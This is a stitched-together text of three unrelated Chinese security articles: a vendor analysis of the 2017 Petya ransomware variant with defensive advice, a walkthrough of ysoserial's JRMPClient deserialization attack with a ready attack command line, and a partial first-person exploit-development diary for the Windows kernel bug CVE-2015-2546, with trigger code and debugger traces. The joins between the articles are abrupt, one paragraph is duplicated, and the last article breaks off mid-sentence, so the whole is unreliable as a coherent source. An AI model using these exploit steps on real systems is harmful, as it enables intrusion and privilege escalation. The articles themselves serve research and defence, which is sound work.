在汇集了多方威胁情报后，样本间直接的关系仍不明确的情况下，经过对部分关键样本文件的跟进分析发现，这次攻击是勒索病毒“必加”（Petya）的新变种。该变种疑似采用了邮件、下载器和蠕虫的组合传播方式。从推理分析来看，该病毒采用CVE-2017-0199漏洞的RTF格式附件进行邮件投放，之后释放Downloader来获取病毒母体，形成初始扩散节点，之后通过MS17-010（永恒之蓝）漏洞和系统弱口令进行传播。同时初步分析其可能具有感染域控制器后提取域内机器口令的能力。因此其对内网具有一定的穿透能力，对内网安全总体上比此前受到广泛关注的魔窟（WannaCry）有更大的威胁，而多种传播手段组合的模式必将成为勒索软件传播的常态模式。
# 3 勒索模块分析
勒索模块是一个DLL文件，该文件被加载后遍历用户磁盘文件（除C:\Windows目录下），并对指定后缀名的文件进行加密，加密后不修改原文件名和扩展名。该文件修改MBR，同时，添加计划任务，在等待一段时间后，关闭计算机。当用户开启计算机时，会显示勒索界面和信息并无法进入系统。
## 3.1 样本标签
表 2 ‑ 1 二进制可执行文件
<table> **病毒名称** Trojan[Ransom]/Win32.Petya **MD5**
[71b6a493388e7d0b40c83ce903bc6b04](https://www.virustotal.com/intelligence/search/?query=027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745#md5)
**处理器架构** X86-32 **文件大小** 269.5 KB (275968 字节) **文件格式**
BinExecute/Microsoft.DLL[:X86] **时间戳** 2017年06月26日 16:49:11+01:00 **数字签名** 有
**加壳类型** 无 **编译语言** Microsoft Visual C++ **VT**** 首次上传时间** 2017年06月27日
**VT**** 检测结果** 38 / 61 </table>
##
### 3.2.1 权限提升与内容加载
样本加载后，尝试提升自己所拥有的权限。所要求的权限为以下几种。
表 2 ‑ 2 样本所提升的权限
<table> **权限名称** **权限内容** SeShutdownPrivilege 关闭计算机的权限 SeDebugPrivilege
修改和调试其他用户进程内存的权限 SeTcbPrivilege 与操作系统内核等同的权限 </table>
接下来，样本会遍历进程列表，查询特定的进程是否存在。并将自身文件内容读入内存后删除该文件。该样本还具有多种加载方式。例如使用WMI加载。
图 2 ‑ 1 使用WMI加载样本的命令
### 3.2.2 修改MBR
样本在加载后具有修改磁盘分区表的行为。通过DeviceIOControl来获取磁盘信息后，向第一块物理磁盘中写入显示勒索信息的代码。
图 2 ‑ 2 修改MBR的代码
该样本添加计划任务后，关闭计算机，当用户重新启动计算机后，计算机在伪造的CHKDSK界面后会显示勒索信息界面。
图 2 ‑ 3 CHKDSK界面
图 2 ‑ 4 被加密后的勒索信界面
### 3.2.3 计划任务创建
样本会将“关机” 这一操作，以命令行的方式添加到计划任务中。使系统在一段时间后强制关机。
图 2 ‑ 5 添加计划任务的代码
### 3.2.4 加密
该样本使用了微软的加密库进行加密。所使用的加密算法为RSA+AES(Microsoft Enhanced RSA and AES Cryptographic
Provider)。
所使用的公钥被硬编码在程序中。
图 2 ‑ 6 加密所使用的公钥
除C:\Windows目录下外，所有盘符下的所有文件夹均会被加密。被加密的文件格式如下所示。
图 2 ‑ 7 被加密的文件格式
### 3.2.5 传播
该样本会释放出名为dllhost.dat的文件。该文件是微软Sysinternals工具集中的PsExec程序。该程序可用于在远程机器上执行命令。控制端和被控制端的数据传输都是通过445(Windows
2000)/135或139端口进行(非Windows 2000)。
### 3.2.6 日志清除
该样本使用了Windows自带的wevtutil工具进行日志清除工作。命令行如下所示。
图 2 ‑ 8 日志清除命令
# 4 风险防范与处置建议
## 4.1 影响操作系统
“必加”（Petya）勒索软件影响操作系统：Windows XP及以上版本；
## 4.2 如未被感染
1、邮件防范
由于此次“必加”（Petya）勒索软件变种首次传播通过邮件传播，所以应警惕钓鱼邮件。建议收到带不明附件的邮件，请勿打开；收到带不明链接的邮件，请勿点击链接。
2、更新操作系统补丁（MS）
<https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>
3、更新Microsoft Office/WordPad远程执行代码漏洞（CVE-2017-0199）补丁
<https://technet.microsoft.com/zh-cn/office/mt465751.aspx>
4、禁用WMI服务
禁用操作方法：<https://zhidao.baidu.com/question/91063891.html>
5、更改空口令和弱口令
如操作系统存在空口令或弱口令的情况，请及时将口令更改为高强度的口令。
6、免疫工具
安天开发的魔窟（WannCry）免疫工具，针对此次事件免疫仍然有效。
下载地址：<http://www.antiy.com/tools.html>
## 4.3 如已被感染
1、 如无重要文件，建议重新安装系统，更新补丁、禁用WMI服务、使用免疫工具进行免疫。
2、 有重要文件被加密，如已开启Windows自动镜像功能，可尝试恢复镜像；或等待后续可能出现解密工具。
# 5 总结
“必加”（Petya）一词一说为东欧女性的名字，来自斯拉夫语系；同时其更被作为一款前苏联的轻型护卫舰的名字。可以说，这个恶意代码从开始就展示出一定的地缘特点。“必加”（Petya）病毒所达成的后果，在勒索软件中是较为特殊的。其将导致计算机系统不能进入正常的系统启动流程，其即可达成勒索目的，其同样可以作为一种破坏载荷。由于其加密扇区，伪装成了系统卷出问题的磁盘检查过程，因此这种社工技巧，可以保证其完成加密作业的全程。而一旦其作为破坏载荷来使用，就同样可以达成和此前在乌克兰停电
[1]
、索尼攻击事件等破坏引导记录导致系统不能自举的同样效果。鉴于本次事件所发生的特殊的时点，因此安天分析小组认为，目前并不能得出本事件是完全以经济勒索为目的恶意代码攻击事件的结论，而还需要更多进一步的分析。
安天在2016年基础威胁年报 [2]
中，对比了“蠕虫时代的传播入口到勒索软件的传播入口”，对其复合型的传播趋势做了预判，而“必加”（Petya）新版本复合手段传播感染进一步看到，通过邮件进入到内部网络，在网内传播的方式，可能会带来比类似“魔窟”（WannaCry）
蠕虫这种单纯的扫描植入方式更严重的后果。但同时更值得警醒的是，“必加”（Petya）所使用的并非是0DAY漏洞，甚至也非1DAY漏洞，而是陈旧的漏洞，其他传播方式也是利用类似弱口令/空口令这种基本的配置问题。这些问题再次说明，系统策略加固和及时的补丁升级，是安全的必修手段。
通过类似邮件或浏览器等入口的单点注入、之后横向移动扫荡内部网络，这本身是传统定向攻击到APT攻击的基本手段，但由于APT攻击的隐蔽性，使多年类似的攻击存在，并没有有效驱动内网安全治理的改善。而勒索病毒攻击，是同样具有严重后果，同时却一种后果高度可见的安全风险。从“魔窟”（WannaCry）
到“必加”（Petya），其将许多信息系统的防护无效的情况全面暴露出来。
面对这种局面，与其夸大病毒本身的能力和威胁，不如认真思考安全基础工作的是否扎实。其应对不能更多立足于灾难响应、数据恢复甚至是破解解密，而必须立足于尽可能的防患于未然，最大程度将易被攻陷的节点减到最小。
2017年2月17日，习近平总书记在国家安全工作座谈会上指出“加强网络安全预警监测，确保大数据安全，实现全天候全方位感知和有效防护”，可以说，“有效”对关键信息技术设施保障的基本要求。如果说态势感知能力是信息安全的顶层价值，那么有效防护就是其能力的基本盘。没有有效防护这个基本盘，威胁情报等各种能力手段，都将无法对接落地、形成价值。
2015年起，安天根据勒索软件已经成为一种地下经济的商业模式，必然会推动其大规模蔓延爆发的判断，在终端防御智甲产品中增加了“加密行为识别”、“诱饵文件”等策略，使用2016年10月的智甲版本，在不升级病毒库和模块的情况下，就有效拦截“魔窟”（WannaCry）
等新兴勒索软件的加密行为。从安天的产品体系来看，达成有效防护、实现价值输出，则是我们一贯的追求。 | 社区文章 |
### 前言&简介
在分析完 payloads/JRMPListener 、 exploit/JRMPListener 、 payloads/JRMPClient 后，再去看
exploit/JRMPClient 就变得很轻松了
先看看作者留言
大致意思就是，这个 exploit/JRMPClient 是为了生成一个 JRMP client 而存在的，并且其功能和 RMIRegistryExpoit
类似，但是 RMIRegistryExpoit 主要目标是 rmi 的 Registry 模块，而 JRMPClient 是瞄准的 rmi 中的 DGC
模块（Distributed Garbage Collection），说的是只要有监听了，都会存在 DGC 的
第二个就是，不会反序列化任何东西，因为它全都是向 server 发送数据，没有接受过任何来自 server 端的数据。在
exploit/JRMPListener 和 payloads/JRMPClient 的利用过程中，这个 server 端和 client
端，攻击者和受害者的角色是可以互换的，在你去打别人的过程中，很有可能被反手一下，所以最好的情况就是，只是发送数据，不去接受另一端传过来的信息，所以说用这个
exploit/JRMPClient 是不会自己打自己的 ; )
java -cp ysoserial.jar ysoserial.exploit.JRMPClient vps port CommonsCollecitons1 'calc.exe'
### 处理流程
现在直接看它的 main 函数
和 exploit/JRMPListener 的有点类似，多了一个代表 host 的参数，剩下的分别是 端口、需要加载的payload类型、需要执行的命令
流程也是先生成一个 payloadObject ，然后带入了 makeDGCCall 函数里，跟进去
这些流程也已经很熟悉了，就是和 server 端做一个协议通信，还记得在 Registry 里分析过
server 端主要的就是 ***Impl_Skel ，那我们可以看看 DGCImpl_Skel
一进去就看见了 dispatch 函数，这个和 Registry 的利用过程一样的，并且看见了 JRMPClient 写过来的
-66919625358661813
这个时候，我们发现 var4 是传参过来的，那么就需要找找这个 var4 是什么时候获取的，需要知道相应的读取顺序，先 int ，再 long
，最后肯定是一个 readObject
那么就去找找谁调用了 DGCImpl_Skel 中的 dispatch
翻 Registry 的笔记过程中发现，首先处理这些来自 client 的协议通信过程的是 UnicastServerRef.dispatch 跟进去看看
又是熟悉的一幕，按照正常流程的话，这里会调用 UnicastServerRef 的 oldDispatch 函数，跟进去
这里可以看见，var4 就是在调用 DGCImpl_Skel 的 dispatch 之前读取的，那么 var3 呢，发现在 oldDispatch
里没有读取 var3，var3是从参数传递过来的，那么我们回到之前的 dispatch 函数里看看
所以顺序已经找到了，先读取 var3，然后 var4，最后应该读取我们的 payload 了
那么应该就是 DGCImpl_Skel 里的 dispatch 里读取的，我们再次回到其流程中
这里提醒一下，var3 的值应该是 1，var4 是那个很长一串的 long
在 DGCImpl_Skel 的 dispatch 里，对 var3 进行了 switch 匹配
我们看看值为1的时候
跟进读取顺序的话，那么这里就是反序列化payload 的触发点了
### 一点小测试
其实，这个应该是和 payloads/JRMPListener 配套使用的
流程应该是，先使用 payloads/JRMPListener
的payload发送到目标服务器，因为限制条件小，也没有什么依赖，所以可以在目标服务器上顺利开启 JRMPListnener
（我知道虽然真实情况下一般比这情况复杂多了），然后再用 exploit/JRMPClient 的payload打过去，这个过程测试过，能够成功的，但是似乎
payloads/JRMPListener 的 payload 不太稳定啊.......一会儿能够监听端口成功，一会儿不成功的......
不过呢，作者也说了 RMI 只要启动了监听那么是一定存在 DGC 的（不知道我理解的对不对），那么这个模块就可以直接像 RMIRegistryExploit
那样用去打 rmi 的服务，我也测试成功了的 | 社区文章 |
本文来源：[安全客](http://bobao.360.cn/learning/detail/3184.html)
作者：k0pwn_ko
上篇回顾：http://paper.seebug.org/102/
### 前言
上一次我发了一篇自己在一个经典内核漏洞CVE-2014-4113中挣扎的经历，以及一些调试细节的分享：
[经典内核漏洞调试笔记](http://paper.seebug.org/102/)
（原文链接：http://bobao.360.cn/learning/detail/3170.html）
总结过后感觉自己收获很多，后来一个偶然的机会，我看到了百度安全实验室发的[一篇文章](http://xlab.baidu.com/cve-2015-2546%ef%bc%9a%e4%bb%8e%e8%a1%a5%e4%b8%81%e6%af%94%e5%af%b9%e5%88%b0exploit/)，是关于另一个经典的内核漏洞，也就是今天的主角
----CVE-2015-2546这个漏洞的从补丁对比到Exploit的分析
同样感觉收获满满，在这篇分析中，总结了漏洞的成因，以及构造还原的手法，受益匪浅，但是并没有提供Exploit，于是根据这篇分析，我尝试编写了一下Exploit，这一次真的是非常艰辛，一边逆向调试，一边编写Exploit，磕磕绊绊完成了这个漏洞的利用，但和我的上一篇分析一样，在调试过程中，有好多非常有意思的过程，所以总结了一下，拿出来和大家一起分享。
下面开始我这只小菜鸟的提权之旅。
### 从CVE-2014-4113到CVE-2015-2546
首先我来描述一下这个漏洞的过程：在创建弹出菜单之后，当进行鼠标操作的时候会触发鼠标事件，引发win32k.sys下的一个叫做MNMouseMove的函数，在这个函数的处理过程中会涉及到一个叫做MNHideNextHierarchy的函数，这个函数会传入一个参数，这个参数是一个名为tagPOPUPMENU的结构体对象，由于对于这个对象没有进行检查，导致可以通过前面的SendMessage异步的方法，使用将这个对象释放掉，然后使用一个fake_tag进行占位，从而将这个fake_tag传入MNHideNextHierarchy，在这个函数中会处理一个1E4消息，在这里由于fake_tag的关系，导致释放后重用，从而引发在Ring0层执行Shellcode，最后完成提权。
第一次看到这个漏洞的时候，我就觉得这个利用的过程和CVE-2014-4113非常相像，都是在SendMessage中完成的利用，也就是利用的call
[esi+60h]这个汇编指令。
要想触发这个漏洞，首先要想办法执行到MNMouseMove，我们一起来分析一下从哪里能够执行到MNMouseMove。
这个过程是不是非常熟悉，从TrackPopupMenuEx到MNLoop，到HandleMenuMessages，最后到MNMouseMove。我们上一篇调试CVE-2014-4113就是这个过程，上一个漏洞发生在HandleMenuMessage中，而CVE-2015-2546发生在HandleMenuMessages里面的另一个调用，那么我就产生了一个想法，CVE-2014-4113的Exploit我们是否能在这个漏洞里使用呢？（事后证明，想的容易，做起来难，不过过程很有意思。）我们就从CVE-2014-4113这个Exploit入手，来完成CVE-2015-2546的提权。
### 和内核对抗的日子
首先我们来看一下CVE-2014-4113和CVE-2015-2546有多少关系，相关内容，可以看一下注释。
if ( v5 > 0x104 )
{
if ( v5 > 0x202 )
{
……
}
……
if ( v20 )
{
v21 = v20 - 1;
if ( v21 )
{
……
v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7);
v52 = IsMFMWFPWindow(v13);
if ( v52 )
……
if ( v13 == -1 )
xxxMNButtonDown((PVOID)v3, v12, UnicodeString, 1);
else
xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);// CVE -2014-4113的漏洞位置
if ( !(*(_DWORD *)(v12 + 4) & 0x100) )
xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516);
}
return 0;
}
goto LABEL_59;
}
……
LABEL_59:
……
xxxMNMouseMove(v3, a2, (int)v7); // CVE-2015-2546漏洞位置
return 1;
}
}
可以看到，两个漏洞的位置都处于HandleMenuMessages的函数中，经过CVE-2014-4113的分析，我们发现这个过程需要通过调用PostMessage的函数，这涉及到对窗口的操作，在CVE-2014-4113中，通过WNDCLASS类中的lpfnWndProc定义了回调函数MyWndProc负责处理窗口函数，这里使用的PostMessage的方法。
这样的话，为了使程序执行到MNMouseMove，我需要设定一个鼠标事件，这里的灵感来源于百度实验室的分析文章，所以我考虑使用。
//WM_SYSCOMMAND处理消息
PostMessage(hwnd,WM_SYSCOMMAND,0,0);//发送WM_SYSCOMMAND
//鼠标事件
PostMessage(hwnd,WM_LBUTTONDOWN,0,0);//鼠标左键按下
PostMessage(hwnd,WM_LBUTTONUP,0,0);//鼠标左键抬起
但是经过调试，我发现无论如何也到达不了调试位置，这样我需要考虑为何无法到达调试位置，在分析的过程中发现了一个有趣的事情，首先，在CVE-2014-4113中，使用TrackPopupMenu会创建一个弹出窗口菜单。
但是，当修改了MyWndProc变成我们设定的事件之后，窗口菜单弹出后就没有后续动作了，也就是说，没有进入MNMouseMove的处理过程，但是当我把鼠标挪到上图的菜单中时，我们首先命中了HandleMenuMessages断点，紧接着命中了MNMouseMove。
kd> g
Breakpoint 6 hit
win32k!xxxHandleMenuMessages:
90668d78 8bff mov edi,edi
kd> g
Breakpoint 4 hit
win32k!xxxMNMouseMove:
906693ef 8bff mov edi,edi
这说明在鼠标挪上去后在HandleMenuMessages中发生的事情能够使程序最后进入MNMouseMove，分析一下这个过程。
kd> p
win32k!xxxHandleMenuMessages+0x1b:
90668d93 8b7508 mov esi,dword ptr [ebp+8]
kd> p
win32k!xxxHandleMenuMessages+0x1e:
90668d96 8b4604 mov eax,dword ptr [esi+4]
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608 mov edx,dword ptr [esi+8]
kd> r eax
eax=00000200
可以发现，程序进入后，会传递一个值0x200，这个值会在随后的过程中连续传递并且判断并且跳转，这个过程不再详细跟踪，举两个跳转的例子。
//一处跳转，0x200和0x104作比较
kd> p
win32k!xxxHandleMenuMessages+0x2f:
90668da7 895dfc mov dword ptr [ebp-4],ebx
kd> p
win32k!xxxHandleMenuMessages+0x32:
90668daa 3bc1 cmp eax,ecx
kd> r eax
eax=00000200
kd> r ecx
ecx=00000104
kd> p
win32k!xxxHandleMenuMessages+0x34:
90668dac 0f87e4010000 ja win32k!xxxHandleMenuMessages+0x21d (90668f96)
//另一处跳转，0x200和0x202作比较
kd> p
win32k!xxxHandleMenuMessages+0x21d:
90668f96 b902020000 mov ecx,202h
kd> p
win32k!xxxHandleMenuMessages+0x222:
90668f9b 3bc1 cmp eax,ecx
kd> p
win32k!xxxHandleMenuMessages+0x224:
90668f9d 0f8706010000 ja win32k!xxxHandleMenuMessages+0x330 (906690a9)
这时我们看一下我这篇文章开头提到的HandleMenuMessages函数的分析，在开头有两处if语句判断，正是和这两个值做的比较，接下来经过一系列判断跳转之后，我们就到达了MNMouseMove的调用。
kd> p
win32k!xxxHandleMenuMessages+0x264:
90668fdd a900040000 test eax,400h
kd> p
win32k!xxxHandleMenuMessages+0x269:
90668fe2 747a je win32k!xxxHandleMenuMessages+0x2e5 (9066905e)
kd> p
win32k!xxxHandleMenuMessages+0x2e5:
9066905e 53 push ebx
9066905e地址所处的位置，已经是MNMouseMove的上方，ebx正在作为MNMouseMove的参数传入栈中。
.text:BF93905E ; 395: xxxMNMouseMove(v3, a2, (int)v7);
.text:BF93905E push ebx ; int
.text:BF93905F push esi ; int
.text:BF939060 push edi ; UnicodeString
.text:BF939061 call _xxxMNMouseMove@12 ; xxxMNMouseMove(x,x,x)
也就是说，之前传入的这个eax是一个很关键的值，如果弄明白这个值，就可以让程序成功执行到MNMouseMove了，但因为这个过程实际上是通过Windows下的图形界面操作（也就是鼠标在我们创建的主窗口移动产生的），所以我们并不能通过CVE-2014-4113的源码分析出来，这里需要分析一下这个值得内容，这时我想到了CVE-2014-4113源程序，同样也是在HandleMenuMessages进行if语句的判断导致跳转，而CVE-2014-4113已经分析的很清楚了，运行CVE-2014-4113的源程序，中断在HandleMenuMessage调试。
kd> p
win32k!xxxHandleMenuMessages+0x19:
90668d91 53 push ebx
kd> p
win32k!xxxHandleMenuMessages+0x1a:
90668d92 56 push esi
kd> p
win32k!xxxHandleMenuMessages+0x1b:
90668d93 8b7508 mov esi,dword ptr [ebp+8]
kd> p
win32k!xxxHandleMenuMessages+0x1e:
90668d96 8b4604 mov eax,dword ptr [esi+4]
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608 mov edx,dword ptr [esi+8]
kd> r eax
eax=00000201
kd> dd esi
85c4bb0c 000f02a2 00000201 00000000 00000000
可以看到这里eax的值是0x201（刚才那个是0x200），也就是十进制的513，来看一下CVE-2014-4113里的过程，计算一下。
v20 = v5 - 261;
if ( v20 )
{
v21 = v20 - 1;
if ( v21 )
{
v22 = v21 - 18;
if ( !v22 )
return 1;
v23 = v22 - 232;
if ( v23 )
{
if ( v23 == 1 )
{
LABEL_13:
v12 = a2;
*(_DWORD *)(a2 + 16) = -1;
*(_DWORD *)(a2 + 8) = (signed __int16)v7;
*(_DWORD *)(a2 + 12) = SHIWORD(v7);
v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7);
v52 = IsMFMWFPWindow(v13);
这里要计算最后v23的值，就从最上方v20的值开始向下判断，也就是v23=513-261-1-18-232=1，正好v23等于1，从而进入下面CVE-2014-4113的处理逻辑。v5的值，就是0x201，也就是513，那么这个值到底是什么呢，我们来查一下这个值。
public enum WMessages : int
{
WM_LBUTTONDOWN = 0x201, //Left mousebutton down
WM_LBUTTONUP = 0x202, //Left mousebutton up
WM_LBUTTONDBLCLK = 0x203, //Left mousebutton doubleclick
WM_RBUTTONDOWN = 0x204, //Right mousebutton down
WM_RBUTTONUP = 0x205, //Right mousebutton up
WM_RBUTTONDBLCLK = 0x206, //Right mousebutton doubleclick
WM_KEYDOWN = 0x100, //Key down
WM_KEYUP = 0x101, //Key up
}
原来这个值就是WM_LBUTTONDOWN的值，正是CVE-2014-4113利用程序中MyWndProc中其中第三个PostMessage中调用到的第二个参数值，所以，我在这里，将我的Exploit中的PostMessage里第二个参数直接修改成0x200，重新运行程序，终于命中了MNMouseMove断点。接下来可以进入内层函数分析了。
原来这个值就是WM_LBUTTONDOWN的值，正是CVE-2014-4113利用程序中MyWndProc中其中第三个PostMessage中调用到的第二个参数值，所以，我在这里，将我的Exploit中的PostMessage里第二个参数直接修改成0x200，重新运行程序，终于命中了MNMouseMove断点。接下来可以进入内层函数分析了。
kd> p
win32k!xxxMNMouseMove+0x2f:
9066941e 0f846f010000 je win32k!xxxMNMouseMove+0x1a4 (90669593)
kd> p
win32k!xxxMNMouseMove+0x1a4:
90669593 5f pop edi
来看一下IDA pro的伪代码。
if ( (signed __int16)a3 != *(_DWORD *)(a2 + 8) || SHIWORD(a3) != *(_DWORD *)(a2 + 12) )
{
只有上面伪代码中的if语句判断通过后，才能进入到漏洞的处理流程，动态跟踪一下这个过程。
kd> p
win32k!xxxMNMouseMove+0x26:
90669415 c1ea10 shr edx,10h
kd> r edx
edx=00000000
kd> p
win32k!xxxMNMouseMove+0x29:
90669418 0fbfd2 movsx edx,dx
kd> r edx
edx=00000000
kd> p
win32k!xxxMNMouseMove+0x2c:
9066941b 3b570c cmp edx,dword ptr [edi+0Ch]
这最主要的原因就是对比的两个值都为0，从而不满足if语句的跳转，跳过了漏洞处理所需的逻辑流程，但是在我们利用鼠标移动的时候，却发现这个流程可以进入if语句判断。
kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000 call win32k!xxxMNMouseMove (906693ef)
kd> dd esp
85c47a98 fde8da68 9074f580 000f0059 9074f580 //000f0059
kd> p
win32k!xxxMNMouseMove+0x18:
90669407 0fbfc1 movsx eax,cx
kd> r ecx
ecx=000f0059
kd> p
win32k!xxxMNMouseMove+0x1b:
9066940a 57 push edi
kd> p
win32k!xxxMNMouseMove+0x1c:
9066940b 8b7d0c mov edi,dword ptr [ebp+0Ch]
kd> p
win32k!xxxMNMouseMove+0x1f:
9066940e 3b4708 cmp eax,dword ptr [edi+8]
kd> p
win32k!xxxMNMouseMove+0x22:
90669411 7511 jne win32k!xxxMNMouseMove+0x35 (90669424)
kd> p
win32k!xxxMNMouseMove+0x35:
90669424 894708 mov dword ptr [edi+8],eax
kd> r eax
eax=00000059
鼠标移动的情况下，eax的值是0x59，并非0x00，那么这个值从哪里来呢，在进入MNMouseMove前看一下参数。
kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000 call win32k!xxxMNMouseMove (906693ef)
kd> dd esp
85c47a98 fde8da68 9074f580 000f0059 9074f580
通过IDA pro分析一下HandleMenuMessages函数，看看这个值是从哪里来。
v5 = *(_DWORD *)(a1 + 4);
v6 = *(_DWORD *)(a1 + 8);
v7 = *(void **)(a1 + 12);
xxxMNMouseMove(v3, a2, (int)v7);
是a1，也就是HandleMenuMessages的第一个参数，这样我们可以回到CVE-2014-4113中，在调用HandleMenuMessages的时候，直接查看第一个参数偏移+0Ch位置的值，看看这个值是不是由我们决定的。
kd> p
win32k!xxxHandleMenuMessages+0x1e:
90668d96 8b4604 mov eax,dword ptr [esi+4]
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608 mov edx,dword ptr [esi+8]
kd> p
win32k!xxxHandleMenuMessages+0x24:
90668d9c 8b5e0c mov ebx,dword ptr [esi+0Ch]
kd> r edx
edx=00000000
kd> p
win32k!xxxHandleMenuMessages+0x27:
90668d9f b904010000 mov ecx,104h
kd> r ebx
ebx=00000000
kd> r eax
eax=00000201
可以看到ebx寄存器是esi+0ch的值，这个值是0，eax的值是0x201，回过头看一下正常Exploit中MyWndProc函数的PostMessages的参数调用。
PostMessage(hwnd,WM_LBUTTONDOWN,0x00,0)
这个第三个第四个特定参数都是0x00，那么我觉得这个可能和MNMouseMove中的值有关，于是我尝试修改了CVE-2015-2546中PostMessage消息传递的特定参数。
修改之后，我们重新跟踪调试。
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608 mov edx,dword ptr [esi+8]
kd> p
win32k!xxxHandleMenuMessages+0x24:
90668d9c 8b5e0c mov ebx,dword ptr [esi+0Ch]
kd> p
win32k!xxxHandleMenuMessages+0x27:
90668d9f b904010000 mov ecx,104h
kd> r edx
edx=00110011
kd> r ebx
ebx=00110011
果然这个值可控了，而且esi指针的值就+4h是PostMessage第二个参数，+08h是第三个参数，+0Ch是第四个参数，接下来，MNMouseMove也能够正常进入if语句的处理流程了。
kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000 call win32k!xxxMNMouseMove (906693ef)
kd> dd esp
85d07a98 fde8da68 9074f580 00110011 9074f580
kd> p
win32k!xxxMNMouseMove+0x1f:
9066940e 3b4708 cmp eax,dword ptr [edi+8]
kd> p
win32k!xxxMNMouseMove+0x22:
90669411 7511 jne win32k!xxxMNMouseMove+0x35 (90669424)
kd> r eax
eax=00000011
kd> p
win32k!xxxMNMouseMove+0x35:
90669424 894708 mov dword ptr [edi+8],eax
### 在HOOK中挣扎和Exploit
接下来，进入到消息钩子部分，主要处理的还是SendMessage异步处理时的消息，通过修改返回，最后达到漏洞调用位置，通过IDA
pro来跟踪一下MNMouseMove的执行流程，以及跟CVE-2015-2546有关的部分。
void __stdcall xxxMNMouseMove(WCHAR UnicodeString, int a2, int a3)
{
……
if ( (signed __int16)a3 != *(_DWORD *)(a2 + 8) || SHIWORD(a3) != *(_DWORD *)(a2 + 12) )
{
*(_DWORD *)(a2 + 8) = (signed __int16)a3;
*(_DWORD *)(v5 + 12) = SHIWORD(v4);
v6 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v4);// V6通过HOOK可控，这里的sendmessage是异步处理
v7 = v6; // v7可控
……
if ( *(_DWORD *)(v5 + 16) == 1 ) // 这个外层if不一定会进来
{
if ( !v7 || v7 == -1 && *(_BYTE *)(*(_DWORD *)(v3 + 4) + 35) & 0x20 )// 判断返回值是0或者-1
return;
*(_DWORD *)(v5 + 16) = -1;
}
if ( v7 == -5 ) // 当返回值是0xffffffb
{
……
}
else // 否则进入这里
{
……
v9 = *(_DWORD **)(v7 + 176); // 获取tagPOPUPMENU的位置，偏移是+0B0h
……
v10 = xxxSendMessage((PVOID)v7, -27, UnicodeString, 0);
if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )
xxxMNHideNextHierarchy(v9); // 漏洞触发关键位置
经过分析，我们需要处理三处SendMessage的异步过程，第一处在FindWindowFromPoint，这个函数中会有一处SendMessage，通过异步过程执行钩子，但是我调试时发现在进入这个函数返回，但并没有执行钩子。
kd> p
win32k!xxxMNMouseMove+0x48:
90669437 e862010000 call win32k!xxxMNFindWindowFromPoint (9066959e)
kd> p
win32k!xxxMNMouseMove+0x4d:
9066943c f7470400800000 test dword ptr [edi+4],8000h
kd> r eax
eax=fea11430
跟踪一下这个过程，我发现在进入SendMessage之前，有一处if语句判断，当这个if语句判断不通过的时候，不会进入SendMessage处理。
kd> p
win32k!xxxMNFindWindowFromPoint+0x14:
906695b2 8b470c mov eax,dword ptr [edi+0Ch]
kd> p
win32k!xxxMNFindWindowFromPoint+0x17:
906695b5 85c0 test eax,eax
kd> p
win32k!xxxMNFindWindowFromPoint+0x19:
906695b7 746b je win32k!xxxMNFindWindowFromPoint+0x86 (90669624)
kd> p
win32k!xxxMNFindWindowFromPoint+0x86:
90669624 8b07 mov eax,dword ptr [edi]
kd> dd edi
fde8da68 12a10008 fea38d58 fea11430 00000000
可以看到这里eax的值是edi+0ch对应的值，也就是0，对应伪代码v5变量值为0，也就是if语句判断没通过，跳转了。这样我们还需要重新看一下这个值，这个值来自于tagPopupMenu结构体，通过CVE-2014-4113和CVE-2015-2546的tagPopupMenu结构体做一个对比。
kd> dt tagPOPUPMENU fde8da68//我们的Exploit中的结构体
+0x004 spwndNotify : 0xfea38d58 tagWND
+0x008 spwndPopupMenu : 0xfea11430 tagWND
+0x00c spwndNextPopup : (null)
kd> dt fde8da68 tagPOPUPMENU//CVE-2014-4113的结构体
+0x004 spwndNotify : 0xfea39de8 tagWND
+0x008 spwndPopupMenu : 0xfea12398 tagWND
+0x00c spwndNextPopup : 0xfea12578 tagWND
实际上，在通过TrackPopupMenu之后会调用MNLoop进入循环处理消息，而我们的exp中只有一个postmessage，于是我们增加到三个postmessage，再次调试跟踪。
kd> p
win32k!xxxHandleMenuMessages+0x2e7:
90669060 57 push edi
kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000 call win32k!xxxMNMouseMove (906693ef)
kd> r edi
edi=fde8da68
+0x004 spwndNotify : 0xfea39d18 tagWND
+0x008 spwndPopupMenu : 0xfea11430 tagWND
+0x00c spwndNextPopup : 0xfea12698 tagWND
这样，我们就能够处理了，接下来利用三个钩子，分别处理三种消息的调用，这个调用过程和CVE-2014-4113相比差别还是比较大的。需要来看一下最关键的钩子该怎么用。首先我们要分析一下和漏洞利用最关键的函数xxxMNHideNextHierarchy，这个函数有一个参数。
signed int __stdcall xxxMNHideNextHierarchy(int a1)
v1 = *(_DWORD *)(a1 + 12);
if ( v1 )
{
v2 = *(void **)(a1 + 12);
if ( v2 != *(void **)(a1 + 28) )
xxxSendMessage(v2, -28, 0, 0);//这里调用shellcode提权
这个参数a1直接影响到后面的提权，回到外层看一下这个a1从哪里来。
v6 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v4);// V6通过HOOK可控，这里的sendmessage是异步处理
v7 = v6; // v7可控
……
v9 = *(_DWORD **)(v7 + 176); // 获取tagPOPUPMENU的位置，偏移是+0B0h
if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )
xxxMNHideNextHierarchy((int)v9); // 漏洞触发关键位置
正是从MNFindWindowFromPoint而来，本来是一次轻松愉快的旅程，但是实际上在逻辑代码中，有一个地方导致了这次旅程血崩，就是：
